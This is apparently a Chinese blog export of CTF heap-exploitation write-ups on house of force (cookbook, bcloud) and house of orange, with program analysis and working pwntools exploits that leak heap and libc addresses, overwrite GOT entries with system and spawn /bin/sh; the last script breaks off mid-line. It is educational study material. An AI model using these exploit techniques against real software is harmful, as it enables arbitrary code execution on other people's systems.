class="function"><span class="keyword">def</span> <span class="title">creat_for_fill</span><span class="params">()</span>:</span></span><br><span class="line">	main_choice(<span class="string">'a'</span>)</span><br><span class="line">	Ing_choice(<span class="string">'n'</span>)</span><br><span class="line">	Ing_choice(<span class="string">'g'</span>)</span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.sendline(<span class="string">'********'</span>)</span><br><span class="line">	Ing_choice(<span class="string">'e'</span>)</span><br><span class="line">	Ing_choice(<span class="string">'q'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak_heap</span><span class="params">()</span>:</span></span><br><span class="line">	main_choice(<span class="string">'c'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'n'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'a'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'to add? '</span>)</span><br><span class="line">	p.sendline(<span class="string">'********'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'many? (hex): '</span>)</span><br><span class="line">	p.sendline(<span class="string">'0x1'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'d'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'p'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line">	heap_base=int(p.recvuntil(<span class="string">' -'</span>).strip(<span class="string">' -'</span>))<span class="number">-0x1780</span></span><br><span class="line">	recipe_choice(<span class="string">'q'</span>)</span><br><span class="line">	<span class="keyword">return</span> heap_base</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak_libc</span><span class="params">()</span>:</span></span><br><span class="line">	main_choice(<span class="string">'c'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'n'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'a'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'to add? '</span>)</span><br><span class="line">	p.sendline(<span class="string">'********'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'many? (hex): '</span>)</span><br><span class="line">	p.sendline(<span class="string">'0x1'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'q'</span>)</span><br><span class="line">	main_choice(<span class="string">'e'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'exterminate? '</span>)</span><br><span class="line">	p.sendline(<span class="string">'********'</span>)</span><br><span class="line">	main_choice(<span class="string">'c'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'p'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'$'</span>)</span><br><span class="line">	libc_base=int(p.recvuntil(<span class="string">'\n'</span>).strip(<span class="string">'\n'</span>))<span class="number">-0x1b27b0</span></span><br><span class="line">	recipe_choice(<span class="string">'q'</span>)</span><br><span class="line">	<span class="keyword">return</span> libc_base</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">set_topsize</span><span class="params">()</span>:</span></span><br><span class="line">	main_choice(<span class="string">'c'</span>)</span><br><span class="line">	recipe_choice(<span class="string">'g'</span>)</span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.sendline(<span class="string">'a'</span>*<span class="number">0x3c0</span>+p32(<span class="number">0xffffffff</span>))</span><br><span class="line">	recipe_choice(<span class="string">'q'</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'your name?\n'</span>)</span><br><span class="line">p.sendline(<span class="string">'ljc'</span>)</span><br><span class="line"></span><br><span class="line">creat_for_leak()</span><br><span class="line">heap_base=leak_heap()</span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'heap_base:'</span>+hex(heap_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line">libc_base=leak_libc()</span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">creat_for_fill()</span><br><span class="line">set_topsize()</span><br><span class="line"></span><br><span class="line"><span class="comment">#new_top-&gt;0x0804D000</span></span><br><span class="line"><span class="comment">#req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line">req =numpy.array([<span class="number">0x0804D010</span>,],dtype=numpy.uint32)</span><br><span class="line">main_choice(<span class="string">'g'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'hacker!) : '</span>)</span><br><span class="line">req[<span class="number">0</span>]=req[<span class="number">0</span>]-(heap_base+<span class="number">0x17a0</span>)<span class="number">-4</span>*<span class="number">4</span></span><br><span class="line">log.info(hex(req[<span class="number">0</span>]))</span><br><span class="line">p.sendline(hex(req[<span class="number">0</span>]))</span><br><span class="line"></span><br><span class="line"><span class="comment">#gdb.attach(p,'b *0x08048D40')</span></span><br><span class="line">main_choice(<span class="string">'a'</span>)</span><br><span class="line">Ing_choice(<span class="string">'n'</span>)</span><br><span class="line">free  =<span class="number">0x1ec180</span></span><br><span class="line">memcpy=<span class="number">0x77610</span></span><br><span class="line">fgets =<span class="number">0x5e150</span></span><br><span class="line">alarm =<span class="number">0xb0270</span></span><br><span class="line">stk   =<span class="number">0</span></span><br><span class="line">malloc=<span class="number">0x1ec110</span></span><br><span class="line">puts  =<span class="number">0x5fca0</span></span><br><span class="line">g=<span class="number">0</span></span><br><span class="line">strtoul=<span class="number">0</span></span><br><span class="line">start=<span class="number">0</span></span><br><span class="line">buf=<span class="number">0</span></span><br><span class="line">system=<span class="number">0x3ada0</span></span><br><span class="line">calloc=<span class="number">0x1ec130</span></span><br><span class="line">Ing_choice(<span class="string">'g'</span>)</span><br><span class="line">name=p32(free+libc_base)+p32(memcpy+libc_base)+p32(fgets+libc_base)+p32(alarm+libc_base)+p32(stk)+p32(malloc+libc_base)+p32(puts+libc_base)+p32(g)+p32(strtoul)</span><br><span class="line">name+=p32(start)+p32(buf)+p32(system+libc_base)+p32(calloc+libc_base)</span><br><span class="line">name=name.ljust(<span class="number">0x68</span>,<span class="string">'\x00'</span>)</span><br><span class="line">name+=p32(<span class="number">0x1b25a0</span>+libc_base)</span><br><span class="line">name+=p32(<span class="number">0x1b2d60</span>+libc_base)</span><br><span class="line">p.sendline(name)</span><br><span class="line">Ing_choice(<span class="string">'s'</span>)</span><br><span class="line">p.sendline(<span class="string">'/bin/sh'</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="bcloud"><a href="#bcloud" class="headerlink" title="bcloud"></a>bcloud</h1><h2 id="程序分析-1"><a href="#程序分析-1" class="headerlink" title="程序分析"></a>程序分析</h2><p>注：这个程序分析是在我写完题之后再来写的，可能会有很多东西会有剧透的既视感…主要是用来帮助自己以后看的</p>
<p>main就是很正常的菜单，就不多废话了，直接从其中做初始化的函数开始看</p>
<h3 id="初始化函数"><a href="#初始化函数" class="headerlink" title="初始化函数"></a>初始化函数</h3><p>0x0804899C:这个函数包括了两个函数，其中分别对应两个输入点</p>
<p>姑且称第一个是<code>input_name</code>，第二个是<code>input_org_host</code></p>
<h4 id="input-name"><a href="#input-name" class="headerlink" title="input_name"></a>input_name</h4><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582412657048.png" width="40%" height="40%">

<p>这里有一个比较坑的点我刚开始一直都没发现（当然还是自己太菜了），因为这个<code>readn_add0(ptr,n,chr)</code>是一个最多读取n个字符然后会在结尾处+0的函数，如果read过程中碰到chr就直接+0退出结束，也就是说如果我们输入了0x40个字符，他就会在0x41处补0。在这里，我们输入0x40之后他会把0补在V2这个变量处，随之被malloc的指针覆盖了，由于32位程序中指针都占4字节，所以覆盖之后这里直接连着堆指针一起strcpy进了chunk中，没有\x00截断。然后调用info输出了chunk中的内容</p>
<h4 id="input-org-host"><a href="#input-org-host" class="headerlink" title="input_org_host"></a>input_org_host</h4><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582413141212.png" width="60%" height="60%">

<p>上面的trick在这里同样出现了一遍，当然这里主要是<code>org v2 host</code>这三个连在了一起，最后在strcpy的时候是一个比较大的溢出，由于v2对应的chunk紧跟的就是top_chunk，所以很自然能联想到<code>house_of_force</code></p>
<h3 id="new"><a href="#new" class="headerlink" title="new"></a>new</h3><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582413440952.png" width="60%" height="60%">

<p>根据下标和记录存放malloc的ptr，lenth由我们输入然后会被存到<code>len_Array</code>中，接着根据lenth读入conent，由于malloc时lenth+4，所以构成不了overflow</p>
<h3 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h3><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582413618572.png" width="40%" height="40%">

<p>没什么好说的了，就是根据存的len来读数据</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582413728779.png" alt="1582413728779"></p>
<p>先把ptr存在栈上，清空记录然后<code>free(ptr)</code></p>
<p>其他的函数都好像没什么用就不用管了</p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>主要就是第二个初始化<code>input_org_host</code>中产生的<code>house_of_force</code>，先将top_chunk.size根据溢出赋值成<code>0xffffffff</code>，然后malloc一个负数设置<code>top_chunk</code>，之后再利用edit就好了，主要就是得发现<code>house_of_force</code>这个洞23333</p>
<p>接着就是在我们的ptr_Array上玩了，我设置的dest稍微在array上面一点，主要是当时免得出错，反正edit的时候可以打pad，当我们用设置好top之后，id0被占用，再新malloc出来用来写Array的chunk会放在index1，当然这个chunk我只写了一次，只用把对应的东西布置好就行了，具体布置什么见以下</p>
<p>由于我们最终的目的是要getshell，仅仅只有一个heap_base肯定是不行的，我们还需要leak一个libc的地址，这里我稍微想了一会，至于libc地址现在可以存在于三个地方：stack、got或者非fastbin链中的chunk。我最开始想的是：通过再malloc一个大一点的chunk之后free，然后在array上就有libc地址了，通过写一个array上的记录指向这个地址就可以打印，但是怎么打印呢，一般打印的方法有通过程序中有输出点的地方打印，或者通过栈溢出控制函数参数、返回地址到puts_plt这样打印，可是这个程序既没有打印chunk的函数…..也无法栈溢出或者泄露栈地址什么的，但是我想到能够设置一个GOT表然后调用edit修改，我们手上暂时又只有程序的地址可以用，所以我就找了一下有什么函数可以用来接受一个地址然后输出的（因为我们程序中使用Array中的数据而且调用到库函数的只有free），刚好有一个函数<code>0x08048779</code>，是接受一个地址然后打<code>%s</code>，这大概就是出题人故意设置的吧2333。所以把free的GOT改成这个函数就可以了，free的GOT表项后面是<code>__stack_chk_fail</code>，不会影响什么</p>
<p>不过我最开始的那个思路free一个大一点的chunk失败了，所以就转而想到了更简单的方法，利用GOT表</p>
<p>然后我们的Array上现在只需要有一样东西就行：GOT表地址。一个用来改free的GOT，一个用来leak</p>
<p>leak之后再把free的GOT改成system，然后malloc一个<code>/bin/sh\x00</code>的chunk，然后free就好了</p>
<p>好像也可以改atoi的GOT更方便一些（或者当修改GOT表影响了相邻表项会出错时可以试试）不过这里就不做多余的事了，getshell就行</p>
<h2 id="完整EXP-1"><a href="#完整EXP-1" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'bcloud'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">new</span><span class="params">(len,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'option---&gt;&gt;\n'</span>)</span><br><span class="line">	p.sendline(<span class="string">'1'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'the note content:\n'</span>)</span><br><span class="line">	p.sendline(str(len))</span><br><span class="line">	p.recvuntil(<span class="string">'the content:\n'</span>)</span><br><span class="line">	p.send(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span><span class="params">(id,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'option---&gt;&gt;\n'</span>)</span><br><span class="line">	p.sendline(<span class="string">'3'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'the id:\n'</span>)</span><br><span class="line">	p.sendline(str(id))</span><br><span class="line">	p.recvuntil(<span class="string">'new content:\n'</span>)</span><br><span class="line">	loginfo(<span class="string">''</span>,<span class="number">0</span>)</span><br><span class="line">	p.send(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(id)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'option---&gt;&gt;\n'</span>)</span><br><span class="line">	p.sendline(<span class="string">'4'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'the id:'</span>)</span><br><span class="line">	p.sendline(str(id))</span><br><span class="line">p.recvuntil(<span class="string">'your name:\n'</span>)</span><br><span class="line">p.send(<span class="string">'a'</span>*<span class="number">0x40</span>)</span><br><span class="line">p.recvuntil(<span class="string">'a'</span>*<span class="number">0x40</span>)</span><br><span class="line">heap_base=my_u32(p.recv(<span class="number">4</span>))<span class="number">-0x8</span></span><br><span class="line">loginfo(<span class="string">'heap_base'</span>,heap_base)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'Org:\n'</span>)</span><br><span class="line">p.send(<span class="string">'a'</span>*<span class="number">0x40</span>)</span><br><span class="line">p.recvuntil(<span class="string">'Host:\n'</span>)</span><br><span class="line">p.sendline(<span class="string">'\xff'</span>*<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">dest=<span class="number">0x0804B110</span></span><br><span class="line">old_top=heap_base+<span class="number">0xd8</span></span><br><span class="line">corrupt_size=dest-old_top<span class="number">-4</span>*<span class="number">4</span><span class="number">-4</span></span><br><span class="line"><span class="comment">#req = dest - old_top - 4*sizeof(long</span></span><br><span class="line">leakfunction=<span class="number">0x08048779</span></span><br><span class="line">free_got=<span class="number">0x0804B014</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">gdb.attach(p,<span class="string">'b *0x08048b4f'</span>)</span><br><span class="line">new(corrupt_size,<span class="string">'\n'</span>)<span class="comment">#set top</span></span><br><span class="line">new(<span class="number">0x18</span>,<span class="string">'a'</span>*<span class="number">0x10</span>+p32(<span class="number">0x0804B03C</span>)+p32(free_got)+<span class="string">'\n'</span>)<span class="comment">#id 0 1 atoi_got</span></span><br><span class="line"></span><br><span class="line">edit(<span class="number">1</span>,p32(leakfunction)+<span class="string">'\n'</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'Hey '</span>)</span><br><span class="line">libc_base=my_u32(p.recv(<span class="number">4</span>))<span class="number">-0x2d250</span></span><br><span class="line">loginfo(<span class="string">'libc base'</span>,libc_base)</span><br><span class="line">system=<span class="number">0x3ada0</span>+libc_base</span><br><span class="line">edit(<span class="number">1</span>,p32(system)+<span class="string">'\n'</span>)</span><br><span class="line">new(<span class="number">0x8</span>,<span class="string">'/bin/sh\x00\n'</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - house_of_orange&amp;houseoforange</title>
    <url>/2020/03/15/how2heap-house-of-orange-houseoforange/</url>
    <content><![CDATA[<h1 id="how2heap-house-of-orange-amp-houseoforange"><a href="#how2heap-house-of-orange-amp-houseoforange" class="headerlink" title="how2heap - house_of_orange&amp;houseoforange"></a>how2heap - house_of_orange&amp;houseoforange</h1><p>ubuntu16.04   libc2.23</p>
<h1 id="house-of-orange-c"><a href="#house-of-orange-c" class="headerlink" title="house_of_orange.c"></a>house_of_orange.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">winner</span> <span class="params">( <span class="keyword">char</span> *ptr)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> *p1, *p2;</span><br><span class="line">    <span class="keyword">size_t</span> io_list_all, *top;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    p1 = <span class="built_in">malloc</span>(<span class="number">0x400</span><span class="number">-0x10</span>);<span class="comment">//malloc一个small chunk (size:0x400)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    top = (<span class="keyword">size_t</span> *) ( (<span class="keyword">char</span> *) p1 - <span class="number">16</span> + <span class="number">0x400</span>);<span class="comment">//top=&amp;top_chunk</span></span><br><span class="line">    top[<span class="number">1</span>] = <span class="number">0xc01</span>;<span class="comment">//top_chunk.size=0xc01 这里，topchunk+size后的地址必须是页对齐的，prev_inuse必须要设置</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    p2 = <span class="built_in">malloc</span>(<span class="number">0x1000</span>);<span class="comment">//malloc一个比top_chunk.size大的chunk，此时0xc01的旧top_chunk就会被放到	unsortedbin中去</span></span><br><span class="line"></span><br><span class="line">    io_list_all = top[<span class="number">2</span>] + <span class="number">0x9a8</span>;<span class="comment">//top的fd+0x9a8就等于io_list_all在libc中的地址</span></span><br><span class="line"></span><br><span class="line">    top[<span class="number">3</span>] = io_list_all - <span class="number">0x10</span>;<span class="comment">//把top的bk设置成io_list_all-0x10处，用于bck-&gt;fd = unsorted_chunks (av)这一任意写，此时写上去的正好是main_arena.top的地址(&amp;main_arena.top)</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( ( <span class="keyword">char</span> *) top, <span class="string">"/bin/sh\x00"</span>, <span class="number">8</span>);<span class="comment">// 将/bin/sh写到top_chunk上面</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    top[<span class="number">1</span>] = <span class="number">0x61</span>;<span class="comment">//在后面malloc(10)的时候，把chunk放到对应的chain处</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    _IO_FILE *fp = (_IO_FILE *) top;</span><br><span class="line">    <span class="comment">/////////////////////////////////////////////////////////////这里就是FSOP那一套</span></span><br><span class="line">    fp-&gt;_mode = <span class="number">0</span>; <span class="comment">// top+0xc0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    fp-&gt;_IO_write_base = (<span class="keyword">char</span> *) <span class="number">2</span>; <span class="comment">// top+0x20</span></span><br><span class="line">    fp-&gt;_IO_write_ptr = (<span class="keyword">char</span> *) <span class="number">3</span>; <span class="comment">// top+0x28</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">size_t</span> *jump_table = &amp;top[<span class="number">12</span>]; <span class="comment">// controlled memory</span></span><br><span class="line">    jump_table[<span class="number">3</span>] = (<span class="keyword">size_t</span>) &amp;winner;</span><br><span class="line">    *(<span class="keyword">size_t</span> *) ((<span class="keyword">size_t</span>) fp + <span class="keyword">sizeof</span>(_IO_FILE)) = (<span class="keyword">size_t</span>) jump_table; <span class="comment">// top+0xd8</span></span><br><span class="line">	<span class="comment">///////////////////////////////////////////////////////////////////////////////</span></span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">10</span>);<span class="comment">//malloc(0x10),size不相等时触发任意写，并在任意写之后，由于unsortedbin-&gt;bk指向的是io_list_all-0x10，此处的对应的size为0，然后就会触发malloc_printerr</span></span><br><span class="line">    <span class="comment">//触发malloc_printerr就会触发_IO_flush_all_lockp，之后通过chain，FSOP成功(这里能通过chain劫持成功的原因也是因为main_arena上对应偏移处的_mode值不为0)</span></span><br><span class="line">    <span class="comment">//之后就会去执行我们的winner了，而且关键是IO_FILE对于函数的调用是类似于f(ptr)这样调用的，所以最后执行的时候就是_IO_OVERFLOW(fp, EOF)=&gt;system(&amp;top)</span></span><br><span class="line">    <span class="comment">//然而此时top上的字符串是/bin/sh，所以就会getshell</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">winner</span><span class="params">(<span class="keyword">char</span> *ptr)</span></span></span><br><span class="line"><span class="function"></span>&#123; </span><br><span class="line">    system(ptr);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>由于源how2heap上的代码注释太多，要是对具体有疑问的推荐去看一下源代码上的注释，我这个主要是总结用，还有以后参考用</p>
<p>整个过程是一个很巧妙的过程，没有通过free，就是通过top_chunk和unsortedbin attack实现了这个利用，全程也不是特别难理解，我的调试过程就是看了一下到底是哪出错调用的malloc_printerr</p>
<h1 id="houseoforange"><a href="#houseoforange" class="headerlink" title="houseoforange"></a>houseoforange</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><h3 id="build"><a href="#build" class="headerlink" title="build"></a>build</h3><p><img src="/2020/03/15/how2heap-house-of-orange-houseoforange/1584105896359.png" alt="1584105896359"></p>
<p>最多只能build 4次，对应的chunk联系如下图所示</p>
<p><img src="/2020/03/15/how2heap-house-of-orange-houseoforange/1584105957540.png" alt="1584105957540"></p>
<p>其中Orange和price_color_chunk都是固定大小的，而且price_color_chunk是calloc出来的chunk</p>
<p>name是我们自己控制大小的一个chunk，最大可为0x1000</p>
<h3 id="see"><a href="#see" class="headerlink" title="see"></a>see</h3><p><img src="/2020/03/15/how2heap-house-of-orange-houseoforange/1584106502771.png" alt="1584106502771"></p>
<p>基本就是打印我们的name还有price，加上一个我们指定颜色的橘子</p>
<h3 id="upgrade"><a href="#upgrade" class="headerlink" title="upgrade"></a>upgrade</h3><p><img src="/2020/03/15/how2heap-house-of-orange-houseoforange/1584106661589.png" alt="1584106661589"></p>
<p>最多只允许upgrade两次，其中更新时的lenth是我们自己输出的，存在一个溢出，然后就是更新price和color</p>
<h2 id="漏洞分析-amp-Exploit"><a href="#漏洞分析-amp-Exploit" class="headerlink" title="漏洞分析&amp;Exploit"></a>漏洞分析&amp;Exploit</h2><p>漏洞点应该说很容易理解，就是upgrade中的overflow，主要就在于我们应该怎么利用。首先程序没有free，所以很多利用都没办法下手了，但是前面刚好学到了<code>house_of_orange</code>，是一个不需要用free即可实现的漏洞，再来看</p>
<p>build中的chunk申请顺序是：<code>malloc(0x10);malloc(len);calloc(8)</code></p>
<p>然后我们的溢出产生在第二个chunk上，可以溢出到calloc出来的chunk还有topchunk</p>
<p>所以这里先build一个house来修改topchunk的size，和前面<code>house_of_orange.c</code>中一样，设置时保持top+size+0x20页对齐，用于后续利用</p>
<p>设置好之后build第二个house，此时指定name为0x1000大小，即可把原来的topchunk放到unsortedbin</p>
<p>这个时候再进行第三次build，指定name稍微小一点，保证这次build出来的house都是从top中切出来的，然后就可以进行溢出修改、leak的操作了</p>
<p>最后一次build触发FSOP即可……..?是不是还少了点什么，因为我们FSOP的时候需要吧vtable指向一个我们可以控制的地方，但是我还没有leak heap或者PIE啊….这怎么办，后来再查阅wp的时候知道了通过切割largechunk时残留的fd_nextsize和bk_nextsize leak的操作….说实话因为largebin在写题的时候用到的少所以没有想到XD…记下来免得以后不记得</p>
<p>PS：顺带记一下<code>fd_nextsize</code>和<code>bk_nextsize</code>会被清空的情况</p>
<ol>
<li>从unsortedbin中唯一last remainder中切出来的时候(malloc.c:3494)</li>
<li>从largebin中切割出的remainder放入unsortedbin时，如果remainder的size仍是属于largebin的，就将这两个ptr清空<br>(malloc.c:3645)（我们最后堆地址泄露就是通过从这切出来的large victim chunk）</li>
<li>一个属于largesize的chunk，free被链入unsortedbin时</li>
</ol>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><p>有了上面思路之后写WP就很好说了</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./houseoforange'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\x00'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">build</span><span class="params">(length,name,price,color)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">	p.send(<span class="string">'1'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'of name :'</span>)</span><br><span class="line">	p.send(str(length))</span><br><span class="line">	p.recvuntil(<span class="string">'Name :'</span>)</span><br><span class="line">	p.send(name)</span><br><span class="line">	p.recvuntil(<span class="string">'Price of Orange:'</span>)</span><br><span class="line">	p.send(str(price))</span><br><span class="line">	p.recvuntil(<span class="string">'Color of Orange:'</span>)</span><br><span class="line">	p.send(str(color))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">upgrade</span><span class="params">(length,name,price,color)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">	p.send(<span class="string">'3'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'of name :'</span>)</span><br><span class="line">	p.send(str(length))</span><br><span class="line">	p.recvuntil(<span class="string">'Name:'</span>)</span><br><span class="line">	p.send(name)</span><br><span class="line">	p.recvuntil(<span class="string">'Price of Orange:'</span>)</span><br><span class="line">	p.send(str(price))</span><br><span class="line">	p.recvuntil(<span class="string">'Color of Orange:'</span>)</span><br><span class="line">	p.send(str(color))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">see</span><span class="params">()</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">	p.send(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line">build(<span class="number">0x10</span>,<span class="string">'a'</span>*<span class="number">0x10</span>,<span class="number">1</span>,<span class="number">0xDDAA</span>)<span class="comment">#0x20 0x20 0x20 0x20fa1</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0x18</span>+p64(<span class="number">0x21</span>)+p64(<span class="number">0xddaa00000001</span>)+p64(<span class="number">0</span>)*<span class="number">2</span>+p64(<span class="number">0xfa1</span>)</span><br><span class="line">upgrade(<span class="number">0x40</span>,payload,<span class="number">1</span>,<span 